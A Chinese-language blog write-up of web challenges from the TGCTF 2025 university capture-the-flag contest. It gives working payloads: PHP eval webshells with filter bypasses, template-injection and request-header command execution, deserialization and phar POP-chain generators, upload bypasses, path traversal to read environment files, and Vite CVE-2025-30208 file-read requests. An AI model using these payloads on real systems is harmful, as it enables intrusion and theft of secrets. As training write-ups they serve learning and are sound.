杭师大校赛2025(新版,未完结)


当时,周六早九点开赛,晚上九点结束,但我七点就去机房开会了。做出了四道题目。

火眼辩魑魅

当时比赛时做出来了

1
shell学姐会让青春CTF少年脸红吗?只有一个洞是通的,看不出来的话就尝试每个漏洞都试一遍哦,杂鱼~

我先是目录扫描,发现了robotx.txt
访问

1
2
3
4
5
6
7
User-Agent: *
Disallow: tgupload.php
Disallow: tgshell.php
Disallow: tgxff.php
Disallow: tgser.php
Disallow: tgphp.php
Disallow: tginclude.php

六个,都可以访问,都有可能拿到flag,但只会是一个(题目告诉你了)。题目还告诉你shell学姐,其实就是gtshell.php的那个文件
对于第一个,http://127.0.0.1:51596/tgupload.php。

1
2
3
4
Warning: move_uploaded_file(uploads/muma.php): failed to open stream: Permission denied in /var/www/html/tgupload.php on line 46

Warning: move_uploaded_file(): Unable to move '/tmp/phpjniMhk' to 'uploads/muma.php' in /var/www/html/tgupload.php on line 46
文件保存出错!

这个应该就是不可以的,我也没有试太多。好像学长是靠这个做了出来,我没有试太多
对于第二个,我是拿这个解出来的,但是看官方的wp,不是这个

1
2
3
4
5
6
7
<?php
$shell=$_POST["shell"];
{
eval($shell);
}
?>
哇,贞德是你鸭!

我们抓包发送到reperter,修改请求方式,发现这里可以取反绕过
取反脚本

1
2
3
4
<?php
$a = urlencode(~'phpinfo');
echo $a;
?>

先system(‘ls /‘);,shell=(%8C%86%8C%8B%9A%92)(%93%8C%DF%D0);
tgfffffllllaagggggg有这个,cat /tgfffffllllaagggggg
拿到flag
第三个tgxff是官方的做法,一进去显示你电脑的IP是:127.0.0.1
我们用hackbar来输入xff,输入49是有回显49的,但是你后面来输入其他的”.__class__这些都不可以*
我就以为不可以了,但是官方的wp

1
{if system('cat /tgf*');}{/if}

官方wp有点问题,分号不要
应该是:{if system(‘cat /tgf*’)}{/if},最后拿到flag了*
这里我还有一个问题是对于各种模板的注入,我基本只掌握了jinjia2的

1
{if system('cat /tgf*')}{/if} 这种语法格式是特定模板引擎的表现。不同的模板引擎有着各自独特的语法规则。常见的像 Twig 模板引擎,它的语法风格就和常用的以 {{ }} 为输出、{% %} 为逻辑控制(如 Django、Jinja2 等模板引擎)有很大差异 。在 Twig 中,条件判断使用 {if} 和 {/if} 结构 ,如果在使用 Twig 等类似语法规则的模板引擎的项目中进行服务器端模板注入(SSTI)攻击,就可能会用到这种语法来构造恶意语句

第四个,是一个反序列化的,当时是问了ai,用了它的payload没有解决出来,就算了。没有细看
第五是只放出来数字这些,也没细看
第六个http://127.0.0.1:50092/tginclude.php,把你要包含的文件给显示出来,
我没有尝试很多,可能会有非预期的解能拿到flag
../../../../proc/1/environ试了这个不可以

直面天命

当时做出来了
filename随便读,这里读?filename=../../../../proc/1/environ。我读的是filename为flag也可以哎
我做出这道题也是非预期解,哈哈
首先是查看网页源代码,有个hint,告诉你还有一个路由,路由是由四个小写字母组成的
写一个脚本,把所有四个小写字母组成的情况写入一个文件,一行一行的,进行爆破,得到/aazz
后面直接出提示了,免费给你,就没有意思了
我们在这里访问/aazz
请求头有一个
inline; filename=file.html
我构造?filename=flag,直接拿到flag了
这里也可以使用?filename=../../../../proc/1/environ拿到flag
还有一些疑问问了ai

1
2
3
4
5
6
7
8
?filename=../../../../proc/1/environ,前面的四个../是什么意思,固定的吗
../../../../ 中的 ../ 是在类 Unix 系统(如 Linux、MacOS 等)文件路径表示里用于目录回溯的符号。以下是详细解释:

含义:.. 代表当前目录的父目录 ,/ 是路径分隔符 。../ 组合起来就表示向上一级目录移动。../../../../ 就是连续四次向上回溯目录,比如当前在 /var/www/html 目录下,使用 ../../ 就会回到 /var 目录。
是否固定:不是固定的 。使用几个 ../ 取决于目标文件或目录相对于当前目录的位置关系。比如目标文件在当前目录的上两级目录,那就用 ../../ ;如果在当前目录下的子目录中,就不需要用 ../ ,直接写子目录名和文件名即可。


在 ?filename=../../../../proc/1/environ 中,大概率是利用文件包含漏洞等场景下构造的路径。攻击者试图通过多次回溯目录,突破当前目录限制,去访问 /proc/1/environ 这个文件(/proc/1/environ 存储着进程号为 1 的进程的环境变量信息 ),以获取敏感信息。

1改为2就不存在了,这样显示的
当然,这两种方法都是非预期解

1
2
3
4
5
6
7
8
9
10
这时候进行参数字典爆破。发现有一个filename可以传参。
然后filename是一个文件读取的函数。
这时候我们直接读取app.py的源码。
发现里面有:
import os
import string
from flask import Flask, request, render_template_string,
jsonify,send_from_directory
from a.b.c.d.secret import secret_key
狂风之中,恍惚之时,只听闻断续传来: 参数......?(本页面可以传参) 所以可知/a/b/c/d/secret里面有secret_key。是直面天命。

后面就是一个ssti,我没有完全复现,它那个地址没搞懂,找不到页面
绕过的具体过程也不是很懂

AAA偷渡阴平

当时比赛时做出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

这个应该有很多非预期解,所以后面上线了一个复仇版
?tgctf2025=print_r(pos(getallheaders())); 有回显,回显了close
Connection: close
我们改print_r为eval,再改close为我们要执行的命令,拿到flag
Connection: system(‘cat /flag’);,最后拿到flag

什么文件上传?

这个当时比赛时也做出来了,花了很多时间
访问robots.txt,有两个重要信息

1
2
3
4
5
6
7
8
9
User-Agent: *
Disallow: /admin/
Disallow: /private/
Disallow: /baidu
Disallow: /s?
Disallow: /unlink
Disallow: /phar
Disallow: !@*($^&*!@^&!*(@$# <--!文件上传后缀是三个小写字母 !@#$*&^(!%@#$#^&!-->
Disallow: /class.php

一个就是之前也遇到过的,我们要写一个脚本,所有的三个小写字母的组合,一行一行地写进文件里面,然后我们去爆破
好像后缀是.atg这个。我试了.php.atg,.atg.php等等都不行,还有上传.htaccess,.user.ini这些都不可以。无法当成可执行的脚本,连接蚁剑这些都是不可以的
访问/class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64_decode($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>

这题非预期解是base64_encode()五次,并且直接传参filename。
直接获取shell。然后wow用POST传参,就是一句话木马,flag在环境变量。
当时用的是ai的链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
class yesterday {
public $learn;
public $study = "study";
public $try;
public function __destruct() {
return $this->study->hard();
}
}

class today {
public $doing;
public function __call($arg1, $arg2) {
return $this->doing->better;
}
}

class future {
public function __toString() {
@eval($_POST['a']); // 蚁剑的一句话
return "win";
}
}

$y = new yesterday();
$t = new today();
$f = new future();

$t->doing = $f;
$y->study = $t;

$payload = serialize($y);
for ($i = 0; $i < 5; $i++) {
$payload = base64_encode($payload);
}

echo $payload;

get方式传上面的结果,post方式传wow=tac /flag,最后拿到flag

AAA偷渡阴平(复仇)

这里就是把很多非预期解给禁了,需要你用他预期的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

这不是明显的要你用预期解吗?禁的都是非预期解会用到的东西
考点总结:PHP session_id 绕过waf RCE
题目描述:web签到1。简单的PHP特性,ban了无参RCE
无参数命令执行请求头绕过:
preg_replace(‘/[^\W]+((?R)?)/‘,”,$_GET[‘code’])
只要在’code’里匹配到[^\W]+((?R)?\,则替换为空
[^\W]+((?R)?)
正则表达式[^\W]匹配字母、数字、下划线[A-Za-z0-9_1
[^\W]+(?)匹配到”ạ()“形式的字符串,但是()不能内出现任何参数
(?R)代表递归,即a(b(c()))都能匹配到
[^\W]+((?R)?)能匹配到a(),a(b(c(()))……格式的字符串,且()内不能有任何参数
只能执行函数,不能执行函数里有参数的。可以phpinfo,但是system这些就不可以。
http请求标头:getallheaders(),获取所有请求标头
当然,这个没有回显,可以使用print_r让他打印出来。这里的head内容是倒置的。用pos(getallheaders())就只返回最后一个,比如connection。我们还可以在外面加一个eval,再将connection的内容改为system()就可以了。
getallheaders()拿到的是自下而上的。
getallheaders()
获取所有 HTTP 请求标头
21:20
?code=print r(pos(getallheaders()));
pos()把第一项的值显示出来

4
?code=print r(end(getallheaders()));
end()把最后一项的值显示出来
Pos把第一项的值显示出来
apache request headers()
功能与getalheaders()相似,适用于Apache服务器
重点(即如何拿到flag):
我传入参数之后,pos(getallheaders)得到的结果是最后一个头部信息。我这时要用bp抓包,然后再改最后一个头部的内容为system(‘ls’);,这是就可以执行我要执行的命令了。
这个做题我自然的想到用到成功拿到flag了,算是会了

无参数全局变量RCE:(php5/7)
Php5下:
题目和上面的一样:
全局变量RCE
get_defined_vars()
返回所有已定义变量的值,所组成的数组
?code=print_r(get_defined_vars());
返回数组顺序为GET->POST->COOKIE->FILES
时.。
?code=print_r(pos(get_defined_vars()));&cmd=system(‘ls’);
结果返回的数组中有两个内容,一个是前面的那个,还有一个就是后面的cmd=system(‘ls’);
重点:怎么拿flag;
1.pos外再加一个end()
2.再改print_r为eval()
3.最后拿到flag
end获取GET的最后一项cmd的值system(‘ls’);
重庆橙子科技

&1t;?php
error
span>
Array
[code】=>print_r(pos(get defined vars()));
[cmd]=>system(‘ls’);
也可以用py脚本来执行…

无参数sessionRCE:,php5的
session(php7以下):
session_start():启动新会话或者现有会话,成功开始新会话返回TRUE,反之返回FALSE
?code=print_r(session_start());返回一个1
session_id(session_start()).外面可以再加一个print_r。
Print_r改为show_source(),用bp抓包修改PHPSESSID的值为./flag。用show_source读取flag文件源代码
重点:1.我抓包,cookie里有phpsessid=。。。
2.尝试print_r(session_id(session_)start())返回的结果是我的这个。。。
3.用bp将phpsessid的值改为./flag,改print_r为show_source。
4.最后拿到flag_
5.或者修改外部函数为eval(),修改phpsession的值为命令为‘phpinfo();’但是无法直接执行,需要先把命令’phpinfo();’HEX编码为十六进制,写入PHPSESSID.再用hex2bin函数将16进制改为而进制数,用eval()执行。?code=eval(hex2bin(session_id(session_start())));
session
?code=eval(hex2bin(session_id(session_start())))
修改外部函数为eval()
修改PHPSESSID的值为命令’phpinfo();
无法直接执行,需先把命令’phpinfo();HEX编码转为十六进制,写入PHPSESSID
再用hex2bin()函数将十六进制转换为二进制数,用eval执行

无参数scandir读取:
难点:函数特别多。只能进行文件读取
scandir()——列出制定路径的文件和目录,括号里面就是我要读取的文件
比如我要读取当前文件:

1
print_r(scandir('.'));

读C盘:print_r(scandir(‘C:’));
getcwd()类似linux中我输入pwd,查看当前的路径
current()——返回数组中的当前值
例如:我输入print_r(scandir(‘.’));在php代码里面
回显:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Array
(
[0] => (2).htaccess
[1] => .
[2] => ..
[3] => .htaccess
[4] => .idea
[5] => .user.ini
[6] => all_four_letter_combinations.txt
[7] => muma.php
[8] => muma2.jpg
[9] => muma3.jpg
[10] => muma4.php
[11] => phar.php
[12] => searilize.php

加上current后就回显 (2).htaccess
next()就是显示第二个
array_reverse():返回单元顺序相反的
array_flip:交换数组中的键和值
array_rand——从数组中随机取出一个或多个随机键
chdir()系统调用函数,同cd,用于切换目录的
strrev()用于反转给定字符串
crypt():用来来加密,目前linux平台上加密方法大概有MD5,DES,3 DES
hebrevc:把希伯来文本从右至左的流转换为从左至右的流
?code=print_r(localeconv());这个显示第一项为点,我是就可以把参数传给current
?code=print_r(scandir(current(localeconv())));
还可以再在外面加一层scandir
这样就读取了目录’.’的所有文件名了
如果flag排在最下面,我们可以?code=print_r(array_reverse(scandir(current(localeconv))));
再套一个current这样只有一个flag.php了
我们把print_r换为show_source就可以拿到flag了
记得查看网页源代码
如果我要查看上一级的呢?
?code=print_r(getcwd());回显:/www/admin/localhost_80/class10
?code=print_r(scandir(getcwd()));回显:array(0=>1=>2=>1.php[3]=>flag)
接下来就是:?code=print_r(end(scandir*getcwd())
?code=show_source(end(scandir(getcwd)));
上面的getcwd是当前目录
dirname()上级目录?code=print_r(dirname(getcwd()));回显:/www/admin/localhost_80
后面的那个class10就没有显示了,我们再加一个scandir就将class,class11,index.heml,info.php这些都显示出来了
?code=print_r(scandir(dirname(getcwd())));
?code=print_r(end(scandir(dirname(getcwd()))));这样我就显示了info.php,但是这样化为show_source不可以读出来info.php。因为你是在下一级的文件下,看不了上一级的文件
回到开始?code=print_r(dirname(getcwd()));这样就显示了/www/admin/localhost_82/wwwroot
?code=print_r(chdir(dirname(getcwd())));这个就基本等于你切换到了上一个文件,回显的是:1代表切换成功了
?code=print_r(dirname(chdir(dirname(getcwd())));回显一个.
?code=print_r(scandir(dirname(chdir(dirname(getcwd())));回显class10,class11,index.html,Info.php
接下来可以end一下,换为show_source
这个方法更加适用更多情况:也可以先套上一个array_flip,回显array(【.]=>0[..]=>[class10]=>2……)
我再套上一个array_rand那么基本就可与试很多次达到我们要的效果
根目录的阅读:目的是出现的有斜杠
?code=print_r(array());,回显array()
?code=print_r(serialize(array()));回显:a:0:{}
?code=print_r(crypt(serialize()));cryptd单向字符串散列加密,结果随机
多执行几次,发现有次的后面出现了斜杠
?code=print_r(strrev(crypt(serialize()));这样斜杠就在最前面了
ord函数和chr()函数,只能对第一个进行转码
ord()编码,chr()解码
?code=print_r(ord(strrev(crypt(serialize()));
?code=print_r(chr(ord(strrev(crypt(serialize()));这样多式几次的结果就可能出现斜杠
再套scandir,读出flag呀,还有很多不要的
先套上一个array_flip,回显array(【.]=>0[..]=>[class10]=>2……)
我再套上一个array_rand那么基本就可与试很多次达到我们要的效果
要尝试很多次,我们可以使用bp来爆破。
选中?code=后面的内容,选择攻击类型方面的,number。from1~to10000
视频中还选了Chrome/108.0.0.0 Safari/537.36中的537.36
出现根目录了,也就是chr外面,再套一层chdir,再套一层dirname()

这是之前我看一些课程记得笔记,没遇到过自然不是很熟悉,也不太会用
把课再听一遍(相关部分),再补充一下笔记,再来做这道题目
?tgctf2025=session_start();system(hex2bin(session_id()));
PHPSESSID=636174202f666c6167       的十六进制
这个是无参数的命令执行,时间不是很够了,加上只是听过课没有做过先死的题目,所以当时比赛时没有做出来
我在这道题里先试着http://127.0.0.1:52393/?tgctf2025=eval(hex2bin(session_id(session_start())));
然后cookie传我们要执行的命令的HEX编码后的内容
,但是回显了炸弹
官方题解是http://127.0.0.1:52393/?tgctf2025=session_start();system(hex2bin(session_id()));
cookie传一样的
这里就应该是我的笔记有一些问题,session_id(session_start()):这是语义上有问题的写法,session_start() 是一个 副作用函数,返回的是布尔值(true/false),你把它作为参数传给 session_id() 没有意义
按照官方的解法,但是其实还有非预期解法
1.正常读文件的法子应该行不通了
注意到获取请求标头的函数只禁了getallheaders一个函数,但是跟getallheaders函数作用相同的函数还有其他的比如apache_request_headers,我们利用这个函数也可以获取请求标头。
get传system(hex2bin(key(apache_request_headers()))));请求头改为我们要执行的命令的HEX编码,然后随便赋值
key(apache_request_headers()) 的作用是:获取 HTTP 请求头数组的第一个键名。

1
2
3
4
5
GET /?tgctf2025=system(hex2bin(key(apache_request_headers()))); HTTP/1.1
636174202f662a:aa
Host: 127.0.0.1:52393
Cache-Control: max-age=0
sec-ch-ua:

当然,我这里没有在本地拿到flag,但是可以认识一下这种用法
看的非预期解法都是和apache_request_headers相关,但是外面套了很多不一样的函数

(ez)upload

这个基本很难在复现了
有一个文件upload.php.bak里面有源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
define('UPLOAD_PATH', __DIR__ . '/uploads/');
$is_upload = false;
$msg = null;
$status_code = 200; // 默认状态码为 200
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");

if (isset($_GET['name'])) {
$file_name = $_GET['name'];
} else {
$file_name = basename($_FILES['name']['name']);
}
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['name']['tmp_name'];
$file_content = file_get_contents($temp_file);

if (preg_match('/.+?</s', $file_content)) {
$msg = '文件内容包含非法字符,禁止上传!';
$status_code = 403; // 403 表示禁止访问
} else {
$img_path = UPLOAD_PATH . $file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
$msg = '文件上传成功!';
} else {
$msg = '上传出错!';
$status_code = 500; // 500 表示服务器内部错误
}
}
} else {
$msg = '禁止保存为该类型文件!';
$status_code = 403; // 403 表示禁止访问
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
$status_code = 404; // 404 表示资源未找到
}
}

// 设置 HTTP 状态码
http_response_code($status_code);

// 输出结果
echo json_encode([
'status_code' => $status_code,
'msg' => $msg,
]);


第一步当然是要吃透代码,我们在这里让gpt来一步一步帮我们吃透

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
当然可以!我们慢慢来,一步一步帮你把这个代码吃透。🍳
🧠 第一眼总结

这是一个文件上传接口,而且:

限制了危险后缀名(比如 .php、.jsp、.html)

还检查了文件内容,不让包含一些特定字符

按情况返回对应的 HTTP 状态码和提示信息

🧩 详细逐步讲解
1️⃣ define('UPLOAD_PATH', __DIR__ . '/uploads/');

定义一个常量 UPLOAD_PATH,是上传目录。

__DIR__ 表示当前这个 PHP 文件所在的文件夹路径。

最后比如 /var/www/html/uploads/ 这样的。

📝 小结:

所有上传的文件都会放到这个 uploads 文件夹里。

2️⃣ 初始化变量

$is_upload = false; // 上传成功了吗?默认是 false
$msg = null; // 准备好一个变量,保存提示消息
$status_code = 200; // 默认 HTTP 状态码是 200(成功)

很标准的初始化过程。为后面做准备。
3️⃣ if (isset($_POST['submit']))

判断有没有收到表单提交。

只有有人点了“上传”按钮,才执行下面的上传逻辑。

4️⃣ if (file_exists(UPLOAD_PATH))

检查 uploads 目录 存不存在。

如果不存在,就不给上传。

✅ 如果目录存在,继续往下做。
5️⃣ $deny_ext = array(...)

定义一个数组:禁止上传的文件后缀名列表。

里面是各种常见的“有害”后缀:PHP、JSP、ASP、SWF、htaccess 等等。

🛡️ 防止上传后缀是 .php、.jsp 这些文件,防止 RCE。

6️⃣ 判断文件名

if (isset($_GET['name'])) {
$file_name = $_GET['name'];
} else {
$file_name = basename($_FILES['name']['name']);
}

如果 GET 参数 name 存在,用 GET 的名字;

否则,使用上传文件本身的原名字。

🧠

有点危险:允许前端控制文件名,存在文件覆盖或者恶意文件名的风险。

7️⃣ 获取后缀

$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

用 pathinfo() 函数提取出文件后缀(比如 abc.jpg 就拿到 jpg)。

8️⃣ 检查后缀是否合法

if (!in_array($file_ext, $deny_ext)) {

如果后缀不在禁止列表中,就继续处理。

否则,提示:“禁止保存为该类型文件”,返回 403。

9️⃣ 检查文件内容

$file_content = file_get_contents($temp_file);

if (preg_match('/.+?</s', $file_content)) {
$msg = '文件内容包含非法字符,禁止上传!';
$status_code = 403;
} else {
...
}

读取上传文件的内容。

用正则检查内容里面有没有出现类似 < 字符。

如果发现有 <,就拒绝上传。

🧠

为什么?

因为 < 是 HTML 或 PHP 标签的起始,很容易嵌代码,所以防止有人直接上传伪装的脚本。

🔟 保存文件

$img_path = UPLOAD_PATH . $file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
$msg = '文件上传成功!';
} else {
$msg = '上传出错!';
$status_code = 500;
}

如果内容检查通过,就把临时文件存到 uploads/ 文件夹里。

保存成功就提示成功;失败返回服务器错误(500)。

1️⃣1️⃣ 如果目录不存在

$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
$status_code = 404;

如果一开始发现 uploads 文件夹不存在,就提示用户,并返回 404 错误。

1️⃣2️⃣ 最后统一设置返回

http_response_code($status_code);

echo json_encode([
'status_code' => $status_code,
'msg' => $msg,
]);

设置 HTTP 响应码

返回 JSON 格式的结果(很适合前端 AJAX 调用)。

🛡️ 安全小总结

这个上传点已经做了不少防护,但也有一些可以绕过或者加强的地方:
风险/问题 说明
可以自定义文件名 可能导致文件覆盖,目录穿越等
只检查扩展名 没有检查 MIME 类型,比如伪装 jpg 但内部是 PHP
内容检查不严 检查 < 字符太简单了,有些 payload 可能不包含 <,但依然能构成 XSS、PHP 绕过
目录不可控 上传路径没有进行进一步随机化,容易猜测和访问上传文件

如果你想,我可以帮你列出几个可能的 上传绕过思路 🔥!

要不要我顺便带你写个CTF场景下可能能打穿它的 payload?
比如上传一张图片马(jpg木马)或者进行路径穿越?😎
要的话,直接告诉我:「继续!」!

有很多的方法,但是我个人觉得比较好的一个思路就是
第一步用%00尝试,但很快就发现不行,这里php版本过高(7.3.26)不能绕过第二步就尝试/这个非法字符,这里可以构造shell.php/.这样的文件来绕过pathinfo()的检查 原因大概是:pathinfo()检查.后的内容为空,正常绕过;但是这个文件因为包含非法字符/,所以不会出现在创建的文件名里
你现在可以在win下试试,文件不能输入/
只这样的话就会出现新的报错
根据源码来看,应该是先创建了一个临时文件用来检测内容,再将这个临时文件复制给uploads下的文件,但由于我们的文件名是shell.php/.,本来不应该存在,但$file_name = basename($_FILES[‘name’][‘name’]);将文件名拆分后,再去下面拼凑新路径时出错估计出题人也想到了这个问题,特地留了一个用GET传文件名的方法来防止刚刚的报错,再次构造请求包发送一句话木马。这时我们的文件名后缀就可以随便改了
其他的方法也有上传.user这些也能的,但是我觉得上面的是思路比较好的一个方法
这里还是无法复现,只能写写思路了

TGCTF 2025 后台管理

这个可能短暂时间内无法解决

TG_wordpress

这个也是

什么文件上传(复仇版)

这里我爆出的.atg后缀就是可以用的了
文件上传+phar反序列化
这里主要重写了best64_decode函数,导致我们无法控制这里的filename触发反序列化,但是根据file_exists和文件上传点,考虑phar反序列化
生成phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
 <?php  

function best64_encode($str)
{
return base64_encode(base64_encode(base64_encode(base64_encode(base64_encode($str)))));
}

class future{

}

class today {
public $doing;
public function __construct() {
$this->doing = new future();
}
}

class yesterday {
public $learn;
public $study;
public $try;

public function __construct() {
$this->study = new today();
}
}


$a=new yesterday();

$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();

生成的phar.phar发现上传不了,我们上传.atg后缀的文件
回到class.php
?filename=phar://./uploads/phar.atg
wow=cat /proc/self/environ
后面再好好整理一下相关的做法

#还有还几道题目,感觉和现在的我的差距也是比较大,可能短暂时间内还做不出来这些题目,就先这样了
最后就是一个系列的题目还可以再冲刺一下

前端GAME

发现了这里的vite想起这里是有一个任意文件读取的漏洞的,简单搜索一下得到CVE-2025-30208

1
curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"

本题

1
curl "http://node2.tgctf.woooo.tech:30758/@fs/tgflagggg?import&raw??"

当然,可以直接读

1
http://127.0.0.1:60924/@fs/tgflagggg?import&raw??

就可以了

前端GAME Plus

可以直接

1
http://127.0.0.1:61546/@fs/app/?../../../tgflagggg?import&?raw

也可以/@fs/tgflagggg?import&?meteorkai.svg?.wasm?init
这个payload拿到的文件内容需要base64解码

ULTRA版本的前端GAME

默认的flag文件是tgflagggg
/@fs/app/#/../../../../../tgflagggg

但是也可以考虑通过环境变量读取
/@fs/app/#/../../../../../proc/self/environ
这个用bp来读
GET /@fs/app/#/../../../../../tgflagggg HTTP/1.1
Host: 127.0.0.1:62004


文章作者: wuk0Ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wuk0Ng !
评论
  目录